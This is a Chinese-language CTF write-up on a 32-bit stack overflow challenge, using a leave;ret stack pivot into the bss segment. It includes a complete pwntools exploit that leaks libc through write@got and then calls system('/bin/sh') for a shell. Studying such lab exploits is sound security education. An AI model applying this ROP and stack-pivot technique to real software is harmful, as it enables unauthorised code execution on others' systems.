前言
由于某些众所周知的原因,最近得要把早已丢弃的pwn捡起来了,某些坑爹比赛密码手没人权(滑稽)。这次,先分析一个简单的栈指针劫持的栈溢出题。
题目分析
32位程序,首先checksec检查下保护,发现pie和canary都没有开启。
打开题目,发现漏洞函数vul_function()
漏洞点也很明显,最后buf多读了一些,导致在栈上多溢出了0x20-0x18=8位,仅仅刚能够覆盖ebp指针和返回地址,因此不能直接在这里构造ROP链。但是,ELF在bss段初始化生成了一个全局的s,读s的时候可以读入较长的数据。因此利用方法就呼之欲出了,就是在s中先写入构造好的ROP链,然后劫持栈指针指向s的地址执行这些gadgets。
那么怎么劫持栈指针呢?在intel汇编中有一条指令:leave。这条语句约等价于mov esp ebp; pop ebp;
。所以我们覆盖的ebp就选择bss段的某个地址,然后找到leave ret的gadget,返回地址覆盖为leave_ret,这样esp就被劫持到bss段了。注意leave指令最后会pop,使栈顶指针增加,因此覆盖的ebp应当是s的实际地址-4。
解题步骤
- 第一轮ROP先泄露libc的基地址,计算出system地址等。
- 第二轮ROP直接调用system函数getshell。
Exploit:
from pwn import *
process("./pwn") elf = ELF("./pwn") write_plt = elf.plt['write'] write_got = elf.got['write'] libc = ELF("/lib/i386-linux-gnu/libc.so.6") main_addr = 0x08048513 bss_addr = 0x0804A300 leave_ret = 0x08048511
rs.recvuntil("name?") payload = p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) rs.send(payload)
rs.recvuntil("to say?") payload2 = 'a'*0x18+p32(bss_addr-4)+p32(leave_ret) rs.send(payload2)
write_addr = u32(rs.recv(4)) log.success(write_addr)
libc_write = libc.symbols['write'] libc_base = write_addr - libc_write system_addr = libc_base + libc.symbols['system'] libc_sh=libc.search('/bin/sh').next() sh_addr = libc_base+libc_sh rs.recvuntil("name?") payload = p32(system_addr)+p32(main_addr) + p32(sh_addr) rs.send(payload) rs.recvuntil("to say?") payload2 = 'a'*0x18+p32(bss_addr-4)+p32(leave_ret) rs.send(payload2) rs.interactive()
|